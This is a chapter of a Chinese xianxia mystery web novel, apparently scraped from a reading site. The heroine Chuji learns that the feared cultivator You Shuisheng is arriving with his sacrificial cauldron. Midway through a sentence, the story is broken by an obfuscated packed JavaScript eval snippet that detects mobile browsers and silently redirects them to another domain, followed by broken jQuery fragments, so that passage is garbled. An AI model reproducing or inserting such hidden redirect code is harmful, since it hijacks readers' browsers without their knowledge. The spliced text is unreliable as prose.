50. 第五十章

作品:《她死后的第六年(悬疑)

    初霁犹在发呆,那符箓却径自落入了她的掌心,一刹那间,她觉得一股炽烈霸道至极的灵力自灵脉涌入,她心中一慌,想将那股陌生灵力驱离自己的身体,随着她手掌一挥,面前的桌椅却犹如被施加了雷霆之力,轰然碎裂,边缘还有焦痕。


    初霁吓了一跳,那边却传来咣咣的敲门声,打开门一看,原来是清漪被这突然的巨响惊醒了。


    初霁谎称是自己在画符箓,不小心出了点意外。清漪走后,初霁脱力地瘫在床上,她默默地想,确实是画符,只不过,此符非彼符。


    体力的灵力仿佛随着方才那一击一耗而空,初霁疲累至极,心中却有股莫名的兴奋,也许是上次在聚灵塔时候,有什么她不知道的变化,这才造成了她灵台的变化。要不要再去看看呢?


    想着想着,她迷迷糊糊睡着了。


    第二日午后,初霁往莳芳居走,一路小心谨慎到了极点,经历了上次被朱沛然暗算的事,她学会了一个道理:倒霉的人,总会更倒霉。


    没想到没走几步,居然又见到了朱沛然!!!他就坐在高阳山旁的一颗树下——离上次给初霁挖坑的树不远。


    初霁以为自己眼花了,再三确认之后,心中一阵犯嘀咕:这朱沛然到底想干嘛?不会还在挖坑吧?同一个地方,同一个人,手段都不带换的,难道他以为她还能再上一次当?


    她迟疑了片刻,心中叹了口气——虽然她确实有些好奇,但是为了谨慎起见,她还是决定换条远一点的路走。没想到刚抬脚就听到朱沛然在喊她:“钟姑娘。”


    初霁装作没听见。


    朱沛然:“钟姑娘,我知道你听见了。”


    初霁转过身:“……你到底想干嘛?”


    朱沛然摇晃着站起来,初霁慌忙后退两步:“你、你不要过来。”


    朱沛然:“你放、放心,我不会害你,我就是,心里难受,想找人说说话。”


    他口齿有些不清,不小心踢碎了旁边的一个东西,初霁这才看到他身后横七竖八地倒着好些酒坛子。


    初霁一阵无语,不动声色地打量着四周:“你找错人了吧?我看你应该找你的景儿师妹才对。”


    朱沛然:“景儿……景儿,跟别人好了。”


    初霁一脸同情(鸡血满满)地关心(八卦):“哦?跟谁好了?”


    朱沛然满脸红晕,十分气愤:“一个小白脸。”


    初霁继续围笑:“没关系哒,等小白脸看穿了她的真面目,离开她,她就会痛哭一场,重新回来找你啦!”


    朱沛然大着舌头,努力分辩着初霁的话:“什么?什么回来,找我?”


    初霁看他眼神有些发直,知道他醉劲上来了,顿时觉得兴致索然,她踢了踢他:“喝酒了就回屋去,不要在外面乱晃,当心像尤沐阳一样当个冤死鬼。”


    朱沛然满脸通红地倒在那儿,嘴里含糊念叨着什么,对不起你之类的,听尾音好像喊的是她的名字,她半信半疑地回望他一眼,这是真醉还是装醉?如果是前者算他有点良心。


    初霁到了莳芳园门口,笑眯眯地敲开了门,正准备向他介绍下自己顺便表明身份,没想到陌生的门房竟然认识她:“罗少主说了,姑娘来了尽可以直接进来,不必通传。”


    初霁好奇地问:“你怎么认识我?”


    门房:“我们见过好几次了,自然认得。”


    初霁傻眼:“啊?”


    她仔细地盯着他看了好一会儿,努力地回想着,眼前这张脸不黑不白不胖不瘦,没什么记忆点,但她的记性也至于差到这种地步吧。


    门房:“……我一直跟在罗少主身后。”


    初霁:……原来是那群总组团出现的白衣剑士之一,没事好端端地换什么衣服。


    她心中腹诽着,面上端起一张可掬的笑脸:“你们罗少主还真是大材小用。”


    没有穿白衣的剑士门房:“少主说了,守好门很重要。”


    初霁心道这话也没错。


    因为来了不止一次,初霁对这莳芳园中的一切已经渐渐熟悉,只是这次又有不同,这次的人比上次少了,但是她敏锐地感到角落里,花丛中,房梁后,都似乎有人盯着。这一道道严密森冷的视线,似乎汇聚成了一张网,将整个莳芳园包裹得密不透风。


    初霁来到正厅,发现罗非远并不在。那个冷面剑士温寒也不在,只有刀无惧一个人。


    初霁好奇道:“你们罗少主呢?”


    刀无惧道:“出去了。”


    她一眼便看到临着水的案几上摆着几大份果盘,刀无惧笑道:“初霁姑娘放心吃,那就是给你准备的。”


    初霁:“你叫我初霁好了。”


    少女笑起来眉眼弯弯,有丝异样的活泼喜气,刀无惧从善如流道:“好。”


    她好奇:“你怎么知道我要来?”


    刀无惧:“你不来,我们少主也要我去请你的。昨晚那事之后,少主说现在将离门不太平,让你暂时住进莳芳园。昨日我们少主已经让人收拾了偏院,就是给你住的。若不是你去了灵言宗姓”


    初霁愣了愣,想到来时这里园中看似平静却重重的守卫,心中一突,有多不太平?还是,罗非远知道什么。


    她不由问道:“那清漪和张师兄他们呢?”


    罗非远的声音自外面传来:“张奉臬带着外院的人,将人全部集中到竹喧院了。清漪,也会过去。”


    初霁闻声望过去,此时太阳已隐没在云后,外面有种肃杀的阴翳,罗非远走了进来。罗非远总是充满懒散跟戏谑的样子不见了,整个人有种异样的凝重。


    他一身黑色劲装,袖口紧束,上有祥云暗纹,衣摆及膝,整个人十分英姿勃发。


    她不由问道:“怎么了?”


    罗非远横刀大马地坐下,沉声道:“尤水生要来了。一个时辰后到。”


    刀无惧惊讶:“尤水生?就是那个,那个?”


    罗非远揉着眉心:“嗯。尤沐阳的爹。”


    尸陀尊者尤水生,早些年,剥了孕妇的胎盘炼丹,用活人的脚骨砸碎了和着血和骨髓筑鼎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298421|181146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。虽然春泽派如今也想跻身玄门大派,为名声收敛许多,但是尤水生的可怖印象,还是留在许多人心中。


    刀无惧看向他身后道:“温寒呢?”


    罗非远:“我让他出门办件事情。对了,你们接下来尽量不要出莳芳园。”


    刀无惧边嗑着松子边不以为然道:“不就是一个尤水生,还敢对太始剑宗动手不成。”


    罗非远冷声:“尤水生死的可是亲儿子,他就这一个儿子。他正没地方泄愤,你可别撞到枪口上——还


    有你——”他从刀无惧手上抓了把松子,慢条斯理剥了几个,放到初霁唇边。


    初霁下意识地张开嘴,松子落入口中,连同他的手指——他的皮肤白净细腻,带有温热的触感,初霁怔了怔,心里飞快略过一丝异样感。


    罗非远温柔一笑:“好吃吗?”


    初霁脸皱成苦瓜,呸呸呸地吐出来:“坏的。”


    刀无惧噗嗤一声笑出来,被罗非远一眼剜过去。


    刀无惧憋得垂头肩膀猛颤。


    初霁装作若无其事地转移着话题道:“尤水生那儿还有什么问题?你是不是没说完?”


    罗非远笑容淡了:“尤水生带来了他那口鼎,就是那口太阴尸陀鼎。那鼎每一出,必要生祭活人。”


    初霁蹙眉:“那阴掌事岂不是……”她虽然不喜欢掌事师姑,但是并没有到能理所当然地看她去死的地步。而且,张奉臬和清漪应当不会袖手旁观。想到此处,她心中有些焦急。


    罗非远冷声:“她倒是在其次,我担心的事,尤水生不是个好糊弄的,他未必看不出问题,借此,大做文章。”


    刀无惧呆愣愣地:“虽然我也觉得那阴掌事不像凶手,可是既然她承认了,那就是她了。那位赵代门主,肯定会将错就错了解此事,还能有什么事?”


    初霁道:“就算这样,难道这事是一个人能完成的吗?那么多干尸,要拖进宗祠,又要掩人耳目,怎么着,也得有两三个帮手才行。”她冷笑,“至于这帮手是谁,还不是他们随便编排。而且,我怀疑尤水生想要《尸玉菩萨》的魔功。你没听那个狗腿子孙大洪的口风,我看他的主意八成是尤水生授意的。”


    罗非远沉声:“不错。而且还有一桩麻烦事。玄门大派的门主们,都来迟了。”


    初霁一惊:“难道是尤水生?”


    罗非远哂道:“他还没那么大本事。我想是有心人知道了这个消息,利用了这个机会。”


    他的声音很轻,一字一句却犹如惊雷。


    初霁在心中飞速地转过几番念头,凶手能知道这种消息,要么地位不俗,要么手眼通天。但是她心中始终有个问题想不明白。


    初霁迷惑地问道:“凶手既然不想闹大,又为何将干尸放在宗祠里?闹出这样大的场面。——我可不信,他会犯这种低级错误。”


    难道,这事真的是掌事师姑做的?


    但她很快否定了自己的猜测,起码,尤沐阳肯定不是她杀的。毕竟她连伤口在哪都说不清楚。